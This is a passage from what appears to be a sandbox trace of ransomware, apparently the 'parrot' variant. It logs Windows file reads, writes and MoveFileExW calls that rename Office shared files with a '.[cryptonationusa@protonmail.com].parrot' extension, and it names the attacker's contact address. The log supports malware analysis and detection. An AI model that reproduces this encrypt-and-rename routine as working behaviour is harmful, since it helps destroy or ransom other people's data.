lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.412] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.412] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x137f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x137f, lpOverlapped=0x0) returned 1 [0124.413] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.417] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.417] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.419] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.419] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19e14, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x19e14, lpOverlapped=0x0) returned 1 [0124.422] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.427] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.427] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.428] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.428] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x22b, lpOverlapped=0x0) returned 1 [0124.428] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.431] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.431] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.433] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.433] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xad0e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xad0e, lpOverlapped=0x0) returned 1 [0124.438] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.439] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.443] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.443] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0124.445] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.445] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c6c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c6c, lpOverlapped=0x0) returned 1 [0124.446] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.446] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.448] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.448] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.451] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.451] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa6c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa6c, lpOverlapped=0x0) returned 1 [0124.452] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.452] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.455] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.456] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.457] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.457] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa5d5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa5d5, lpOverlapped=0x0) returned 1 [0124.461] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.465] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.465] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.467] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.467] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x101cc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x101cc, lpOverlapped=0x0) returned 1 [0124.471] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.472] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.519] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.519] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.520] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.520] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a1, lpOverlapped=0x0) returned 1 [0124.521] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.528] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.528] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.530] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.530] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x623, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x623, lpOverlapped=0x0) returned 1 [0124.530] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.531] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.535] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.535] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.536] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.537] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x75da, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x75da, lpOverlapped=0x0) returned 1 [0124.538] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.544] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.544] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.546] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.546] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbfc6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbfc6, lpOverlapped=0x0) returned 1 [0124.549] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.554] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.554] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.555] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.556] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ab, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2ab, lpOverlapped=0x0) returned 1 [0124.556] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.556] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.564] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.564] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.565] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.565] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0124.595] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.596] WriteFile (in: hFile=0x1b4, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0124.596] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.596] WriteFile (in: hFile=0x1b4, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0124.599] UnlockFile (hFile=0x1b4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x195130, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0124.599] CloseHandle (hObject=0x1b4) returned 1 [0124.599] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.611] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.611] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.613] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.613] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xeed1e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xeed1e, lpOverlapped=0x0) returned 1 [0124.684] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.743] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.743] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.745] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.745] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe64da, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe64da, lpOverlapped=0x0) returned 1 [0124.773] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.811] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.823] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.823] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.824] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.825] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xff7f2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xff7f2, lpOverlapped=0x0) returned 1 [0124.855] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.984] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0125.020] SetFilePointerEx (in: hFile=0x1b4, 